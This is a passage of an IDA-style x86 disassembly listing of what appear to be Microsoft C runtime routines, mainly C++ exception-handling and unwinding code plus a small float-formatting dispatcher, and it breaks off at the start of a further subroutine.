sub_41AB68	proc near		; CODE XREF: sub_417D6C+3AAp
					; DATA XREF: sub_415DEBo ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41ABA3
		cmp	[ebp+arg_8], 45h
		jz	short loc_41ABA3
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41AB90
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A9A5
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41AB90:				; CODE XREF: sub_41AB68+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41AA83
		jmp	short loc_41ABB4
; ---------------------------------------------------------------------------


loc_41ABA3:				; CODE XREF: sub_41AB68+7j
					; sub_41AB68+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A8A1


loc_41ABB4:				; CODE XREF: sub_41AB68+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41AB68	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ABB9	proc near		; CODE XREF: sub_41A8A1+2Cp
					; sub_41A9A5+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41ABDC
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_415B10
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_416320
		add	esp, 10h
		pop	esi


loc_41ABDC:				; CODE XREF: sub_41ABB9+7j
		pop	edi
		retn
sub_41ABB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABDE	proc near		; CODE XREF: .text:00415FCCp
					; sub_416035+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41ABF4
		call	sub_41B482


loc_41ABF4:				; CODE XREF: sub_41ABDE+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41AC1C
		cmp	dword ptr [esi+4], 0
		jz	short loc_41AC72
		cmp	[ebp+arg_14], 0
		jnz	short loc_41AC72
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41AF25
		add	esp, 10h
		jmp	short loc_41AC72
; ---------------------------------------------------------------------------


loc_41AC1C:				; CODE XREF: sub_41ABDE+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41AC72
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41AC56
		cmp	[eax+14h], edi
		jbe	short loc_41AC56
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41AC56
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41AC75
; ---------------------------------------------------------------------------


loc_41AC56:				; CODE XREF: sub_41ABDE+4Aj
					; sub_41ABDE+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AC79
		add	esp, 20h


loc_41AC72:				; CODE XREF: sub_41ABDE+23j
					; sub_41ABDE+29j ...
		push	1
		pop	eax


loc_41AC75:				; CODE XREF: sub_41ABDE+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41ABDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AC79	proc near		; CODE XREF: sub_41ABDE+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41AC99
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41AC9E


loc_41AC99:				; CODE XREF: sub_41AC79+16j
		call	sub_41B482


loc_41AC9E:				; CODE XREF: sub_41AC79+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41ADF5
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41AD12
		cmp	[esi+14h], edi
		jnz	short loc_41AD12
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41AD12
		mov	esi, dword_46BB80
		test	esi, esi
		jz	loc_41ADF0
		mov	eax, dword_46BB84
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_41E802
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41ACF4
		call	sub_41B482


loc_41ACF4:				; CODE XREF: sub_41AC79+74j
		cmp	[esi], ebx
		jnz	loc_41ADF5
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41AD12
		cmp	[esi+14h], edi
		jnz	short loc_41AD12
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41AD12
		call	sub_41B482


loc_41AD12:				; CODE XREF: sub_41AC79+41j
					; sub_41AC79+46j ...
		cmp	[esi], ebx
		jnz	loc_41ADF5
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41ADF5
		cmp	[esi+14h], edi
		jnz	loc_41ADF5
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_416183
		add	esp, 14h
		mov	ebx, eax


loc_41AD49:				; CODE XREF: sub_41AC79+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41ADE0
		cmp	[ebx], edi
		jg	short loc_41ADD5
		cmp	edi, [ebx+4]
		jg	short loc_41ADD5
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41ADD2


loc_41AD6E:				; CODE XREF: sub_41AC79+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41AD9F


loc_41AD80:				; CODE XREF: sub_41AC79+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41AEC8
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ADAE
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41AD80


loc_41AD9F:				; CODE XREF: sub_41AC79+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41AD6E
		jmp	short loc_41ADD2
; ---------------------------------------------------------------------------


loc_41ADAE:				; CODE XREF: sub_41AC79+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41AFD9
		add	esp, 2Ch


loc_41ADD2:				; CODE XREF: sub_41AC79+F3j
					; sub_41AC79+133j
		mov	edi, [ebp+var_10]


loc_41ADD5:				; CODE XREF: sub_41AC79+DEj
					; sub_41AC79+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41AD49
; ---------------------------------------------------------------------------


loc_41ADE0:				; CODE XREF: sub_41AC79+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41ADF0
		push	1
		push	esi
		call	sub_41B34E
		pop	ecx
		pop	ecx


loc_41ADF0:				; CODE XREF: sub_41AC79+56j
					; sub_41AC79+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41ADF5:				; CODE XREF: sub_41AC79+37j
					; sub_41AC79+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41AE1B
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41AE20
		add	esp, 20h
		jmp	short loc_41ADF0
; ---------------------------------------------------------------------------


loc_41AE1B:				; CODE XREF: sub_41AC79+180j
		jmp	sub_41B42C
sub_41AC79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE20	proc near		; CODE XREF: sub_41AC79+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_46BB88, 0
		push	esi
		push	edi
		jz	short loc_41AE51
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41605A
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41AEC4


loc_41AE51:				; CODE XREF: sub_41AE20+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_416183
		add	esp, 14h
		mov	esi, eax


loc_41AE6D:				; CODE XREF: sub_41AE20+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41AEC4
		cmp	edi, [esi]
		jl	short loc_41AEBC
		cmp	edi, [esi+4]
		jg	short loc_41AEBC
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41AE96
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41AEBC


loc_41AE96:				; CODE XREF: sub_41AE20+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41AFD9
		add	esp, 2Ch


loc_41AEBC:				; CODE XREF: sub_41AE20+57j
					; sub_41AE20+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41AE6D
; ---------------------------------------------------------------------------


loc_41AEC4:				; CODE XREF: sub_41AE20+2Fj
					; sub_41AE20+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41AE20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AEC8	proc near		; CODE XREF: sub_41AC79+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41AF1F
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41AF1F
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41AEF9
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41AF1B


loc_41AEF9:				; CODE XREF: sub_41AEC8+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41AF03
		test	byte ptr [edi],	8
		jz	short loc_41AF1B


loc_41AF03:				; CODE XREF: sub_41AEC8+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41AF12
		test	byte ptr [edi],	1
		jz	short loc_41AF1B


loc_41AF12:				; CODE XREF: sub_41AEC8+43j
		test	al, 2
		jz	short loc_41AF1F
		test	byte ptr [edi],	2
		jnz	short loc_41AF1F


loc_41AF1B:				; CODE XREF: sub_41AEC8+2Fj
					; sub_41AEC8+39j ...
		xor	eax, eax
		jmp	short loc_41AF22
; ---------------------------------------------------------------------------


loc_41AF1F:				; CODE XREF: sub_41AEC8+Bj
					; sub_41AEC8+14j ...
		push	1
		pop	eax


loc_41AF22:				; CODE XREF: sub_41AEC8+55j
		pop	edi
		pop	esi
		retn
sub_41AEC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF25	proc near		; CODE XREF: sub_41ABDE+34p
					; sub_41AFD9+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421828
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_41AF57:				; CODE XREF: sub_41AF25+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41AFB1
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41AF66
		cmp	esi, [edi+4]
		jl	short loc_41AF6B


loc_41AF66:				; CODE XREF: sub_41AF25+3Aj
		call	sub_41B482


loc_41AF6B:				; CODE XREF: sub_41AF25+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41AF86
		push	103h
		push	ebx
		push	eax
		call	sub_41B3E0


loc_41AF86:				; CODE XREF: sub_41AF25+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41AFA6
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41AFC3
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_41AFA6:				; CODE XREF: sub_41AF25+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41AF57
; ---------------------------------------------------------------------------


loc_41AFB1:				; CODE XREF: sub_41AF25+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AFC3	proc near		; CODE XREF: sub_41AF25+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41AFD4
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41AFD4:				; CODE XREF: sub_41AFC3+Cj
		jmp	sub_41B42C
sub_41AFC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AFD9	proc near		; CODE XREF: sub_41AC79+151p
					; sub_41AE20+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41AFFB
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41B18A
		add	esp, 10h


loc_41AFFB:				; CODE XREF: sub_41AFD9+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41B007
		push	edi
		jmp	short loc_41B00A
; ---------------------------------------------------------------------------


loc_41B007:				; CODE XREF: sub_41AFD9+29j
		push	[ebp+arg_24]


loc_41B00A:				; CODE XREF: sub_41AFD9+2Cj
		call	sub_415F5C
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_41AF25
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41B054
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41B04F
		push	edi
		push	eax
		call	sub_415F1A


loc_41B04F:				; CODE XREF: sub_41AFD9+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41AFD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B054	proc near		; CODE XREF: sub_41AFD9+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421838
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_46BB80
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_46BB84
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_46BB80, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_46BB84, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_415FE1
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41B11A
		mov	eax, [ebp+var_2C]


loc_41B0E1:				; CODE XREF: sub_41B0FA+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B054	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B0F0	proc near		; DATA XREF: .text:00421848o
		push	dword ptr [ebp-14h]
		call	sub_41B160
		pop	ecx
		retn
sub_41B0F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B0FA	proc near		; DATA XREF: .text:0042184Co
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_416242
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41B0E1
sub_41B0FA	endp

; ---------------------------------------------------------------------------


loc_41B112:				; DATA XREF: .text:00421840o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41B11A	proc near		; CODE XREF: sub_41B054+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_46BB80, eax
		mov	eax, [ebp-20h]
		mov	dword_46BB84, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41B15F
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41B15F
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41B15F
		cmp	[ebp-24h], ebx
		jnz	short locret_41B15F
		cmp	[ebp-2Ch], ebx
		jz	short locret_41B15F
		call	sub_4162AA
		push	eax
		push	edi
		call	sub_41B34E
		pop	ecx
		pop	ecx

locret_41B15F:				; CODE XREF: sub_41B11A+1Cj
					; sub_41B11A+22j ...
		retn
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B160	proc near		; CODE XREF: sub_41B0F0+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41B187
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41B187
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41B187
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41B187
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41B187:				; CODE XREF: sub_41B160+Cj
					; sub_41B160+12j ...
		xor	eax, eax
		retn
sub_41B160	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B18A	proc near		; CODE XREF: sub_41AFD9+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421850
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41B333
		cmp	byte ptr [eax+8], 0
		jz	loc_41B333
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41B333
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41B227
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_41E802
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41B32A
		push	1
		push	edi
		call	sub_41E81E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41B32A
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_41B218:				; CODE XREF: sub_41B18A+F5j
		push	eax
		call	sub_41B3B5
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41B32F
; ---------------------------------------------------------------------------


loc_41B227:				; CODE XREF: sub_41B18A+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41B281
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_41E802
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41B32A
		push	1
		push	edi
		call	sub_41E81E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41B32A
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_416320
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41B32F
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41B32F
		add	esi, 8
		push	esi
		jmp	short loc_41B218
; ---------------------------------------------------------------------------


loc_41B281:				; CODE XREF: sub_41B18A+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41B2C9
		call	sub_41E802
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41B32A
		push	1
		push	edi
		call	sub_41E81E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41B32A
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41B3B5
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_416320
		add	esp, 0Ch
		jmp	short loc_41B32F
; ---------------------------------------------------------------------------


loc_41B2C9:				; CODE XREF: sub_41B18A+103j
		call	sub_41E802
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41B32A
		push	1
		push	edi
		call	sub_41E81E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41B32A
		push	dword ptr [esi+18h]
		call	sub_41E83A
		pop	ecx
		test	eax, eax
		jz	short loc_41B32A
		test	byte ptr [esi],	4
		jz	short loc_41B310
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41B3B5
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_415F55
		jmp	short loc_41B32F
; ---------------------------------------------------------------------------


loc_41B310:				; CODE XREF: sub_41B18A+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41B3B5
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_415F4E
		jmp	short loc_41B32F
; ---------------------------------------------------------------------------


loc_41B32A:				; CODE XREF: sub_41B18A+6Aj
					; sub_41B18A+7Cj ...
		call	sub_41B482


loc_41B32F:				; CODE XREF: sub_41B18A+98j
					; sub_41B18A+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_41B333:				; CODE XREF: sub_41B18A+2Ej
					; sub_41B18A+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B18A	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41B42C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B34E	proc near		; CODE XREF: sub_41AC79+170p
					; sub_41B11A+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421860
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41B395
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41B395
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_415F4E
		or	[ebp+var_4], 0FFFFFFFFh


loc_41B395:				; CODE XREF: sub_41B34E+2Aj
					; sub_41B34E+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B34E	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41B42C

; =============== S U B	R O U T	I N E =======================================



sub_41B3B5	proc near		; CODE XREF: sub_41B18A+8Fp
					; sub_41B18A+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41B3D6
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41B3D6:				; CODE XREF: sub_41B3B5+12j
		pop	esi
		retn
sub_41B3B5	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B3E0	proc near		; CODE XREF: sub_415FE1+40p
					; sub_41AF25+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
